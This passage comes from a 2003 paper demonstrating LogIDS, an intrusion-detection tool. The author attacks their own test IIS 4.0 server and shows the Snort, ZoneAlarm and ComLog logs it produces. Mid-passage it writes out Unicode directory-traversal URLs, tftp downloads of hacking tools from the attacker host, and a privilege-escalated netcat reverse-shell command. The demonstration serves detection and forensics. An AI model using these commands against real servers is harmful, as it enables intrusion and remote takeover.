OK, now that we have looked at the ins and outs of LogIDS, let's see it in action. For this occasion, I decided to install myself a test machine configured with the following security measures: LogAgent 4.0 Pro, ComLog 1.05, Snort 1.9.1, ZoneAlarm Pro 2.6.362 and LogIDS 1.0 Pro on top of it all, all of this running on a freshly installed NT4 SP6a partition. Oh yeah, I also installed IIS 4.0 default install, unpatched, for good measure (grin). No, seriously, what I wanted to do was to setup a vulnerable server subject to fall victim to the same kind of attack I performed in my paper "Autopsy of a successful intrusion (well, two actually)", which was the well-known UNICODE directory traversal vulnerability, along with an escalated privileges remote shell provided by netcat and hk. As a matter of fact, with my current configuration, I had to specially configure ZoneAlarm so that the attack will perform without a hinch, even if it was well monitored, as you will see. Let me recall, for those who haven't read my paper, that one of these intrusions, even if it went practically undetected by the security measures they had in place, some visual signs of our intrusion have been seen by staff members, and we (me and a colleague of the time) have even been caught during the act by a staff member as we have been reckless with a remote-GUI shell session. However, this whole incident went completely unreported until we produced our own report of our penetration testing contract. That is to say that too often, companies relies only a on couple of security gimmicks that provide a false sense of security, and on staff that is not properly trained to see a serious security breach when they have the chance to see one.
Like I said before, I see LogIDS as some kind of mega-IDS, as it benefits from the specificities of numerous security tools, to detect intrusions. One of the downside that traditional network-based intrusion detection systems are that they generate false results, that cause either undetected intrusions or false alerts that tends over time to lessen the level of attention dedicated to these alerts. Because LogIDS does not rely on a single intrusion detection technique, that means that the more illicit activity that is going on, the more log activity this will generate accross your security architecture. By properly configuring your rules file, in order to separate the wheat from the chaff, you get a decent display (over which you have great control of the actual fields you actually care to see) to give you the information you need to understand what triggered the log, and with sound alerts properly set, when your monitoring console starts beeping like there's a fire, that'll be definetely a good hint that something wrong is going on.
So I started my little scenario attack by performing a simple port scan of my test machine VIRGINMARY. ZoneAlarm and Snort immediatly started to produce log data in their respective directory, under the watchful eye of LogAgent that diligently forwarded this precious cargo to the scrutinity of LogIDS. I used a slightly modified version of the rules and filters we have seen before, that you can find in the appendices, and it did the job remarkably for such a simple test. Under this conf, LogIDS started to display the data from these 2 log files in the appropriate windows (the window for the appropriate host, and the one for its associated subnet) frenetically, emitting a series of beeping sounds (note: it is recommended that you change your sound event wav files (Control Panel->Sound) to none for the Exclamation and Default events, so when a sound is emitted, it is from the PC speaker. This allows for better performance than wav playing) that should definetely alert anyone who is in hearing distance from the machine (my girlfriend thought that I just had a big bug that crashed the PC the first time she heard it when I was developping my app and feding it with sample logs to trigger alerts). Figure 4. and 5. shows these windows under the scan.
Here is a very small sample of the logs collected from ZoneAlarm and Snort during this phase of the attack:
ZoneAlarm ZALog.txt file:
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3277,10.0.0.2:66,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3278,10.0.0.2:67,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3279,10.0.0.2:68,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3280,10.0.0.2:69,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3281,10.0.0.2:70,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3282,10.0.0.2:71,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3283,10.0.0.2:72,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3284,10.0.0.2:73,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3285,10.0.0.2:74,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3286,10.0.0.2:75,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3287,10.0.0.2:76,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3288,10.0.0.2:77,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3289,10.0.0.2:78,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3290,10.0.0.2:79,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3292,10.0.0.2:81,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3293,10.0.0.2:82,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3294,10.0.0.2:83,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3295,10.0.0.2:84,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:48 -4:00 GMT,10.0.0.1:3296,10.0.0.2:85,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:49 -4:00 GMT,10.0.0.1:3297,10.0.0.2:86,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:49 -4:00 GMT,10.0.0.1:3298,10.0.0.2:87,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:49 -4:00 GMT,10.0.0.1:3299,10.0.0.2:88,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:49 -4:00 GMT,10.0.0.1:3300,10.0.0.2:89,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:50 -4:00 GMT,10.0.0.1:3301,10.0.0.2:90,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:50 -4:00 GMT,10.0.0.1:3302,10.0.0.2:91,TCP (flags:S)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:9:25,FWIN,2003/05/12,02:08:50 -4:00 GMT,10.0.0.1:3303,10.0.0.2:92,TCP (flags:S)
Snort's alert.ids file:
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:48,[**] [1:474:1] ICMP superscan echo [**]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:48,[Classification: Attempted Information Leak] [Priority: 2]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:48,05/12/03-02:08:42.719359 0:10:60:58:4:33 -> 0:50:BA:C9:BE:DA type:0x800 len:0x3C
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:48,10.0.0.1 -> 10.0.0.2 ICMP TTL:128 TOS:0x0 ID:53752 IpLen:20 DgmLen:36
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:48,Type:8 Code:0 ID:1024 Seq:512 ECHO
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:50,[**] [1:1530:4] FTP format string attempt [**]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:50,[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:50,05/12/03-02:08:44.043525 0:10:60:58:4:33 -> 0:50:BA:C9:BE:DA type:0x800 len:0x45
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:50,10.0.0.1:3239 -> 10.0.0.2:21 TCP TTL:128 TOS:0x0 ID:53776 IpLen:20 DgmLen:55 DF
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:50,***AP*** Seq: 0x1EF4542A Ack: 0xB646 Win: 0x4470 TcpLen: 20
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,[**] [1:1418:2] SNMP request tcp [**]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,[Classification: Attempted Information Leak] [Priority: 2]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,05/12/03-02:08:53.993781 0:10:60:58:4:33 -> 0:50:BA:C9:BE:DA type:0x800 len:0x3E
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,10.0.0.1:3372 -> 10.0.0.2:161 TCP TTL:128 TOS:0x0 ID:54114 IpLen:20 DgmLen:48 DF
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,******S* Seq: 0x1F7E7D57 Ack: 0x0 Win: 0x4000 TcpLen: 28
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,TCP Options (4) => MSS: 1460 NOP NOP SackOK
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,[Xref => cve CAN-2002-0013][Xref => cve CAN-2002-0012]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,[**] [1:1420:2] SNMP trap tcp [**]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,[Classification: Attempted Information Leak] [Priority: 2]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,05/12/03-02:08:54.100889 0:10:60:58:4:33 -> 0:50:BA:C9:BE:DA type:0x800 len:0x3E
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,10.0.0.1:3373 -> 10.0.0.2:162 TCP TTL:128 TOS:0x0 ID:54118 IpLen:20 DgmLen:48 DF
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,******S* Seq: 0x1F7F7423 Ack: 0x0 Win: 0x4000 TcpLen: 28
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,TCP Options (4) => MSS: 1460 NOP NOP SackOK
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:56,[Xref => cve CAN-2002-0013][Xref => cve CAN-2002-0012]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,[**] [1:1418:2] SNMP request tcp [**]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,[Classification: Attempted Information Leak] [Priority: 2]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,05/12/03-02:08:56.928385 0:10:60:58:4:33 -> 0:50:BA:C9:BE:DA type:0x800 len:0x3E
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,10.0.0.1:3372 -> 10.0.0.2:161 TCP TTL:128 TOS:0x0 ID:54251 IpLen:20 DgmLen:48 DF
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,******S* Seq: 0x1F7E7D57 Ack: 0x0 Win: 0x4000 TcpLen: 28
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,TCP Options (4) => MSS: 1460 NOP NOP SackOK
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,[Xref => cve CAN-2002-0013][Xref => cve CAN-2002-0012]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,[**] [1:1420:2] SNMP trap tcp [**]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,[Classification: Attempted Information Leak] [Priority: 2]
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,05/12/03-02:08:57.028392 0:10:60:58:4:33 -> 0:50:BA:C9:BE:DA type:0x800 len:0x3E
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,10.0.0.1:3373 -> 10.0.0.2:162 TCP TTL:128 TOS:0x0 ID:54254 IpLen:20 DgmLen:48 DF
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,******S* Seq: 0x1F7F7423 Ack: 0x0 Win: 0x4000 TcpLen: 28
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,TCP Options (4) => MSS: 1460 NOP NOP SackOK
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:8:58,[Xref => cve CAN-2002-0013][Xref => cve CAN-2002-0012]
As I said, besides showing intense activity for the related network items involved in the attack, LogIDS produce a series of sound that made it ring almost like an alarm bell. That should have got your attention. Now, here comes the rest of the attack. I passed to the UNICODE vulnerability right away, using tftp to place the tools nc.exe, hk2.exe, whoami.exe and pulist.exe in the \scripts folder of the web folder. I have done this by issuing a series of command to the server by using my web browser, by copying the command prompt (in fact ComLog binary) to the script folder under the name root.exe, as is common to see in worms or cracker behavior:
http://10.0.0.2/scripts/..%c0%ad../winnt/system32/cmd.exe?/c+copy+\winnt\system32\cmd.exe+root.exe
ugmgifrj.clg (ComLog produces random-generated filenames to avoid detection by unsuspecting intruders):
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:50,Mon May 12 02:19:50 2003
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:50,Microsoft(R) Windows NT(TM)
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:50,(C) Copyright 1985-1996 Microsoft Corp.
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:50,Mon May 12 02:19:50 2003
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:50,G:/Inetpub/scripts>Mon May 12 02:19:50 2003
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:50,copy /winnt/system32/cmd.exe root.exe
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:51,Mon May 12 02:19:51 2003
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:51,1 file(s) copied.
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:51,Mon May 12 02:19:51 2003
10.0.0.2,virginmary,SYSTEM,2003/5/12,2:19:51,exit
which gives, when focus only on the 'line' field (note that ComLog adds timestamps at each command for easier forensics analysis):
Mon May 12 02:19:50 2003
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
Mon May 12 02:19:50 2003
G:/Inetpub/scripts>Mon May 12 02:19:50 2003
copy /winnt/system32/cmd.exe root.exe
Mon May 12 02:19:51 2003
1 file(s) copied.
Mon May 12 02:19:51 2003
exit
Such a log file exists, and have been taken into account by LogIDS, for each of the commands I supplied to download my tools (the next figures will show the rest of the attack from LogIDS ComLog textboxes perspective.). Just for forensics, such log files are invaluable, since this data was something previously not available in the analysis game, and determining the complete actions of an intruder on a machine could mean making complete hard disk analysis in order to try to identify the files he could have accessed. Now, you know exactly what happened, as it happened. Let's go further in our little test case.
The next step for me is to download some hacking tools. So I keep sending my commands by using urls like these ones:
http://10.0.0.2/scripts/root.exe?/c+tftp+-i+10.0.0.1+get+hk2.exe
http://10.0.0.2/scripts/root.exe?/c+tftp+-i+10.0.0.1+get+nc.exe
http://10.0.0.2/scripts/root.exe?/c+tftp+-i+10.0.0.1+get+whoami.exe
http://10.0.0.2/scripts/root.exe?/c+tftp+-i+10.0.0.1+get+pulist.exe
repeated for each files I want to download. These also generated Snort activity, but here I want to focus on logs generated by ComLog for this specific activity. Figure 8. shows the textbox opened by LogIDS 1.0 Pro for this specific command:
I'm tired of sending my command via my browser, and want a somewhat better access. I will launch myself a escalated-privileged netcat tunnel. On my rogue PC performing the attack, I start netcat in listening mode:
nc -v -l -p 21
and on my browser, I type the last command I'll ever pass through here:
http://10.0.0.2/scripts/root.exe?/c+hk2+nc+-d+-e+root.exe+10.0.0.1+21
Note that ComLog is a wrapper for cmd.exe, so in the command sent above, we see a first call to cmd.exe, used to launch hk2 in order to escalate nc, that in turn will be bound to... cmd.exe, in fact ComLog. So this means that there should be two ComLog log files for this single command, as we can see on the next Figure (note that I have closed the previous windows):
The next figure shows the captured session in all its glory (note how ComLog hides the presence of some of the processes monitoring the attacker's moves):
Figure 10. The whole netcat session
Again, all these logs produced a substancial level of sonic noise, alerting of potential illicit activity. Snort also produced logs during the UNICODE attack, but I do not put additional log data here as there is too much already. Basically, by beeping at each line that a rule identifies as worthy of attention, the more lines that make LogIDS beep in a small amount of time, the most likely there is of illicit activity.
I also ran IntegCheck after the attack to show you how LogIDS responds to it. The next figure will show what an entry submitted by IntegCheck looks like when monitored by LogIDS.
Figure 11. IntegCheck reporting to LogIDS
Here's also what the console window looked like at the end of the attack, not much garbage output thrown out for such a volume attack. Note that "suspicious line" simply means that the Snort log interpreter built-in LogIDS 1.0 Pro is not sure what this line may be about, and doesn't think it contains relevant information for a quick response context; still it displays the content of that line on the console so you can see it and see if it conrains anything valuable. It this case, we can see that it does not.
Figure 12. IntegCheck reporting to LogIDS
Also, take note that I only benefited from the analysis of some of the tools available. Had I tried to hide my hacking tools in alternate data streams, adsscan would have found it on next startup. I did not do much analysis on the logs from the Event Viewer, for simplicity's sake, and in the Open Source version, Snort support is minimal. LogIDS 1.0 Pro have a couple of analysis features of its own that make it a much better tool a detecting intrusion by analyzing this data, along with the supplemental data provided by LogAgent 4.0 Pro, as we have seen in the previous chapter.
9. Options related to LogIDS 1.0 Pro only
11. Conclusion